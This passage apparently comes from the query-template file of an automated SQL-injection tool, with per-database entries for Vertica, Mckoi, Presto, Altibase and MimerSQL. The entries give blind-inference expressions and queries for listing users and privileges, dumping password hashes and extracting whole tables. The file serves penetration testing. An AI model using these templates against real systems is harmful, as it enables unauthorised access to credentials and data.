<column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%.%s'"/>
|
||||
<is_dba query="(SELECT is_super_user FROM v_catalog.users WHERE user_name=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||
<check_udf query="(SELECT procedure_name='%s' FROM v_catalog.user_procedures WHERE procedure_name='%s' OFFSET 0 LIMIT 1)"/>
|
||||
<users>
|
||||
<inband query="SELECT user_name FROM v_catalog.users"/>
|
||||
<blind query="SELECT user_name FROM v_catalog.users OFFSET %d LIMIT 1" count="SELECT COUNT(user_name) FROM v_catalog.users"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT user_name,password FROM v_catalog.passwords" condition="user_name"/>
|
||||
<blind query="SELECT password FROM v_catalog.passwords WHERE user_name='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(password) FROM v_catalog.passwords WHERE user_name='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,privileges_description FROM v_catalog.grants WHERE object_type!='PROCEDURE'" condition="grantee"/>
|
||||
<!-- NOTE: Vertica does not cache DISTINCT queries (must use ORDER BY to have consistent results) -->
|
||||
<blind query="SELECT DISTINCT(privileges_description) FROM v_catalog.grants WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(privileges_description)) FROM grants WHERE grantee='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements>
|
||||
<inband query="SELECT current_statement FROM v_monitor.sessions"/>
|
||||
<blind query="SELECT DISTINCT(current_statement) FROM v_monitor.sessions ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(current_statement)) FROM v_monitor.sessions"/>
|
||||
</statements>
|
||||
<dbs>
|
||||
<inband query="SELECT schema_name FROM v_catalog.schemata"/>
|
||||
<blind query="SELECT DISTINCT(schema_name) FROM v_catalog.schemata ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.schemata"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT schema_name,table_name FROM v_catalog.all_tables" condition="schema_name"/>
|
||||
<blind query="SELECT table_name FROM v_catalog.all_tables WHERE schema_name='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(table_name) FROM v_catalog.all_tables WHERE schema_name='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT column_name,data_type FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
<blind query="SELECT column_name FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM v_catalog.columns WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM v_catalog.schemata WHERE %s" condition="schema_name"/>
|
||||
<blind query="SELECT DISTINCT(schema_name) FROM v_catalog.schemata WHERE %s ORDER BY 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.schemata WHERE %s" condition="schema_name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT schema_name,table_name FROM v_catalog.all_tables WHERE %s" condition="table_name" condition2="schema_name"/>
|
||||
<blind query="SELECT DISTINCT(schema_name) FROM v_catalog.all_tables WHERE %s ORDER BY 1" query2="SELECT table_name FROM v_catalog.all_tables WHERE schema_name='%s'" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.all_tables WHERE %s" count2="SELECT COUNT(table_name) FROM v_catalog.all_tables WHERE schema_name='%s'" condition="table_name" condition2="schema_name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT table_schema,table_name FROM v_catalog.columns WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM v_catalog.columns WHERE %s ORDER BY 1" query2="SELECT DISTINCT(table_name) FROM v_catalog.columns WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM v_catalog.columns WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM v_catalog.columns WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Mckoi -->
|
||||
<!-- NOTE: DBMS with minimalistic set of (restricted) features -->
|
||||
<dbms value="Mckoi">
|
||||
<cast query="CONCAT('',%s)"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="IF(%s IS NULL,' ', %s)"/>
|
||||
<delimiter query="||"/>
|
||||
<limit/>
|
||||
<limitregexp/>
|
||||
<limitgroupstart/>
|
||||
<limitgroupstop/>
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query=";"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (IF(%s,1,0))"/>
|
||||
<!-- NOTE: other way around does not work -->
|
||||
<inference query="'%c'<SUBSTRING((%s),%d,1)"/>
|
||||
<banner/>
|
||||
<current_user/>
|
||||
<current_db/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba/>
|
||||
<dbs/>
|
||||
<tables/>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONCAT('',%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONCAT('',%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(DISTINCT(%s)) FROM %s"/>
|
||||
</dump_table>
|
||||
<users/>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<search_db/>
|
||||
<search_table/>
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<!-- Presto -->
|
||||
<dbms value="Presto">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="OFFSET %d LIMIT %d"/>
|
||||
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" OFFSET "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<substring query="SUBSTR(%s,%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="TO_HEX(%s)"/>
|
||||
<inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version=">=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
|
||||
<banner/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db/>
|
||||
<hostname/>
|
||||
<table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
|
||||
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
|
||||
<is_dba/>
|
||||
<check_udf/>
|
||||
<users/>
|
||||
<passwords/>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<dbs>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Altibase -->
|
||||
<dbms value="Altibase">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="NVL(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d,%d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="/*"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="HEX_ENCODE(%s)"/>
|
||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT PRODUCT_SIGNATURE FROM V$DATABASE"/>
|
||||
<current_user query="USER_NAME()"/>
|
||||
<current_db query="USER_NAME()"/>
|
||||
<hostname/>
|
||||
<table_comment query="SELECT COMMENTS FROM SYSTEM_.SYS_COMMENTS_ WHERE USER_NAME='%s' AND TABLE_NAME='%s'"/>
|
||||
<column_comment query="SELECT COMMENTS FROM SYSTEM_.SYS_COMMENTS_ WHERE USER_NAME='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
|
||||
<is_dba query="(SELECT COUNT(*) FROM SYSTEM_.DBA_USERS_ WHERE USER_NAME=USER_NAME())=1"/>
|
||||
<users>
|
||||
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_"/>
|
||||
<blind query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ LIMIT %d,1" count="SELECT COUNT(USER_NAME) FROM SYSTEM_.SYS_USERS_"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT USER_NAME,PASSWORD FROM SYSTEM_.SYS_USERS_" condition="USER_NAME"/>
|
||||
<blind query="SELECT PASSWORD FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'" count="SELECT COUNT(PASSWORD) FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
|
||||
<blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d'"/>
|
||||
</privileges>
|
||||
<roles>
|
||||
<inband query="SELECT GRANTEE.USER_NAME AS GRANTEE, USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID" condition="GRANTEE"/>
|
||||
<blind query="SELECT USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID WHERE GRANTEE.USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(*) FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID WHERE GRANTEE.USER_NAME='%s'"/>
|
||||
</roles>
|
||||
<statements/>
|
||||
<dbs>
|
||||
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_"/>
|
||||
<blind query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ LIMIT %d,1" count="SELECT COUNT(USER_NAME) FROM SYSTEM_.SYS_USERS_"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID" condition="USER_NAME"/>
|
||||
<blind query="SELECT TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(TABLE_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" condition="COLUMN_NAME"/>
|
||||
<blind query="SELECT COLUMN_NAME FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" query2="SELECT DATA_TYPE FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND USER_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" condition="COLUMN_NAME"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
|
||||
<blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_USERS_ WHERE %s" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" condition="TABLE_NAME" condition2="USER_NAME"/>
|
||||
<blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" query2="SELECT DISTINCT(TABLE_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" condition="TABLE_NAME" condition2="USER_NAME"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" condition="COLUMN_NAME" condition2="USER_NAME" condition3="TABLE_NAME"/>
|
||||
<blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" query2="SELECT DISTINCT(TABLE_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" condition="COLUMN_NAME" condition2="USER_NAME" condition3="TABLE_NAME"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- MimerSQL -->
|
||||
<!-- NOTE: DBMS with stohastic output of rows (ORDER BY required) -->
|
||||
<dbms value="MimerSQL">
|
||||
<!-- NOTE: NVARCHAR(4000) causes problems in boolean (e.g. 'Required temporary table row length is 32006, only 32000 is possible') -->
|
||||
<cast query="CAST(%s AS NVARCHAR(1000))"/>
|
||||
<length query="CHAR_LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="OFFSET %d FETCH %d"/>
|
||||
<limitregexp query="\s+OFFSET\s+([\d]+)\s+FETCH\s+([\d]+)" query2="\s+FETCH\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" OFFSET "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<inference query="UNICODE_CODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT attribute_value FROM SYSTEM.SERVER_INFO WHERE server_attribute='CATALOG_VERSION_CURRENT'"/>
|
||||
<current_user query="USER()"/>
|
||||
<current_db query="USER()"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="(SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE schema_owner=USER())>0"/>
|
||||
<check_udf/>
|
||||
<!-- Reference: https://download.mimer.com/pub/developer/docs/html_110/Mimer_SQL_Engine_DocSet/App_D_Dic_tables2.html -->
|
||||
<users>
|
||||
<inband query="SELECT user_name FROM SYSTEM.USERS"/>
|
||||
<blind query="SELECT user_name FROM SYSTEM.USERS ORDER BY user_name OFFSET %d FETCH 1" count="SELECT COUNT(user_name) FROM SYSTEM.USERS"/>
|
||||
</users>
|
||||
<passwords/>
|
||||
<privileges>
|
||||
<inband query="SELECT DISTINCT user_name,privilege_type FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID" condition="user_name"/>
|
||||
<blind query="SELECT DISTINCT(privilege_type) FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID WHERE user_name='%s' ORDER BY privilege_type OFFSET %d FETCH 1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID WHERE user_name='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements/>
|
||||
<dbs>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
<blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY schema_name OFFSET %d FETCH 1" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name OFFSET %d FETCH 1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s ORDER BY %s OFFSET %d FETCH 1" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||
<blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s ORDER BY schema_name" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
